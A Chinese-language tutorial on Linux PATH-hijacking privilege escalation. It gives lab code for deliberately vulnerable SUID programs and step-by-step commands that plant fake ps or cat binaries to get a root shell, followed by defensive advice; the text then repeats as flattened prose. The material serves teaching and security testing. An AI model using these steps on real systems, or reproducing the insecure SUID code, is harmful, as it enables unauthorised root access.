Linux环境变量提权
字数 1030 2025-08-29 08:32:30

Linux环境变量提权技术详解

环境变量PATH基础

$PATH是Linux系统中的环境变量,用于指定可执行程序的搜索路径。当用户在终端运行命令时,系统会在$PATH列出的目录中查找对应的可执行文件。

查看当前用户的PATH设置:

echo $PATH

典型输出:

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

关键点:PATH中的.表示当前目录,这可能导致安全风险,因为攻击者可以在当前目录放置恶意程序来劫持合法命令。

提权原理

当具有SUID权限的程序调用系统命令时,如果:

  1. 程序使用相对路径调用命令(如直接调用ps而非/bin/ps
  2. 攻击者可以控制PATH环境变量
  3. 攻击者可以在PATH优先搜索的目录中放置恶意程序

则攻击者可以劫持命令执行,实现权限提升。

实验环境搭建

方法1:调用ps命令的示例

  1. 创建测试目录和程序:
mkdir script
cd script
nano demo.c

demo.c内容:

#include<unistd.h>
void main()
{
    setuid(0);
    setgid(0);
    system("ps");
}
  1. 编译并设置SUID权限:
gcc demo.c -o shell
chmod u+s shell
ls -la shell  # 确认SUID权限设置成功

方法2:调用id命令的示例

  1. 创建程序:
nano test.c

test.c内容:

#include<unistd.h>
void main()
{
    setuid(0);
    setgid(0);
    system("id");
}
  1. 编译并设置权限:
gcc test.c -o shell2
chmod u+s shell2

方法3:调用cat命令读取/etc/passwd

  1. 创建程序:
nano raj.c

raj.c内容:

#include<unistd.h>
void main()
{
    setuid(0);
    setgid(0);
    system("cat /etc/passwd");
}
  1. 编译并设置权限:
gcc raj.c -o raj
chmod u+s raj

方法4:调用cat命令读取不存在的文件

  1. 创建程序:
nano demo.c

demo.c内容:

#include<unistd.h>
void main()
{
    setuid(0);
    setgid(0);
    system("cat /home/raj/msg.txt");
}
  1. 编译并设置权限:
gcc demo.c -o ignite
chmod u+s ignite

攻击方法

查找SUID程序

首先查找具有SUID权限的程序:

find / -perm -u=s -type f 2>/dev/null

方法1:使用echo创建恶意程序

  1. 创建恶意ps程序:
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
  1. 修改PATH环境变量:
echo $PATH
export PATH=/tmp:$PATH
  1. 执行目标程序:
cd /home/raj/script
./shell
whoami  # 确认是否为root

方法2:使用copy命令

  1. 复制shell到恶意程序:
cd /home/raj/script
cp /bin/sh /tmp/ps
  1. 修改PATH并执行:
export PATH=/tmp:$PATH
./shell
whoami

方法3:使用符号链接(symlink)

  1. 创建符号链接:
ln -s /bin/sh ps
  1. 修改PATH并执行:
export PATH=.:$PATH  # 注意当前目录(.)需要可写权限
./shell
id
whoami

方法4:使用文本编辑器创建恶意程序

  1. 使用nano创建恶意cat程序:
cd /tmp
nano cat

内容输入/bin/bash并保存

  1. 设置权限并修改PATH:
chmod 777 cat
export PATH=/tmp:$PATH
  1. 执行目标程序:
cd /home/raj/script
./ignite
whoami

防御措施

  1. 避免使用相对路径:在程序中始终使用绝对路径调用系统命令

    system("/bin/ps");  // 好
    system("ps");       // 坏
    
  2. 重置环境变量:在特权程序开始时重置环境变量

    clearenv();
    
  3. 最小权限原则:不要随意给程序设置SUID权限

  4. PATH安全配置:避免在PATH中包含当前目录(.),或将其放在最后

  5. 文件系统权限:确保/tmp等目录不能随意写入可执行文件

总结

通过控制PATH环境变量实现提权的关键在于:

  1. 找到具有SUID权限且调用系统命令的程序
  2. 程序使用相对路径调用命令
  3. 能够在PATH优先搜索的目录中写入恶意程序
  4. 通过修改PATH使系统优先执行恶意程序而非合法程序

管理员应通过上述防御措施来防止此类攻击,而安全测试人员可以利用这些技术来评估系统安全性。

Linux环境变量提权技术详解 环境变量PATH基础 $PATH 是Linux系统中的环境变量,用于指定可执行程序的搜索路径。当用户在终端运行命令时,系统会在 $PATH 列出的目录中查找对应的可执行文件。 查看当前用户的PATH设置: 典型输出: 关键点 :PATH中的 . 表示当前目录,这可能导致安全风险,因为攻击者可以在当前目录放置恶意程序来劫持合法命令。 提权原理 当具有SUID权限的程序调用系统命令时,如果: 程序使用相对路径调用命令(如直接调用 ps 而非 /bin/ps ) 攻击者可以控制PATH环境变量 攻击者可以在PATH优先搜索的目录中放置恶意程序 则攻击者可以劫持命令执行,实现权限提升。 实验环境搭建 方法1:调用ps命令的示例 创建测试目录和程序: demo.c 内容: 编译并设置SUID权限: 方法2:调用id命令的示例 创建程序: test.c 内容: 编译并设置权限: 方法3:调用cat命令读取/etc/passwd 创建程序: raj.c 内容: 编译并设置权限: 方法4:调用cat命令读取不存在的文件 创建程序: demo.c 内容: 编译并设置权限: 攻击方法 查找SUID程序 首先查找具有SUID权限的程序: 方法1:使用echo创建恶意程序 创建恶意ps程序: 修改PATH环境变量: 执行目标程序: 方法2:使用copy命令 复制shell到恶意程序: 修改PATH并执行: 方法3:使用符号链接(symlink) 创建符号链接: 修改PATH并执行: 方法4:使用文本编辑器创建恶意程序 使用nano创建恶意cat程序: 内容输入 /bin/bash 并保存 设置权限并修改PATH: 执行目标程序: 防御措施 避免使用相对路径 :在程序中始终使用绝对路径调用系统命令 重置环境变量 :在特权程序开始时重置环境变量 最小权限原则 :不要随意给程序设置SUID权限 PATH安全配置 :避免在PATH中包含当前目录(.),或将其放在最后 文件系统权限 :确保/tmp等目录不能随意写入可执行文件 总结 通过控制PATH环境变量实现提权的关键在于: 找到具有SUID权限且调用系统命令的程序 程序使用相对路径调用命令 能够在PATH优先搜索的目录中写入恶意程序 通过修改PATH使系统优先执行恶意程序而非合法程序 管理员应通过上述防御措施来防止此类攻击,而安全测试人员可以利用这些技术来评估系统安全性。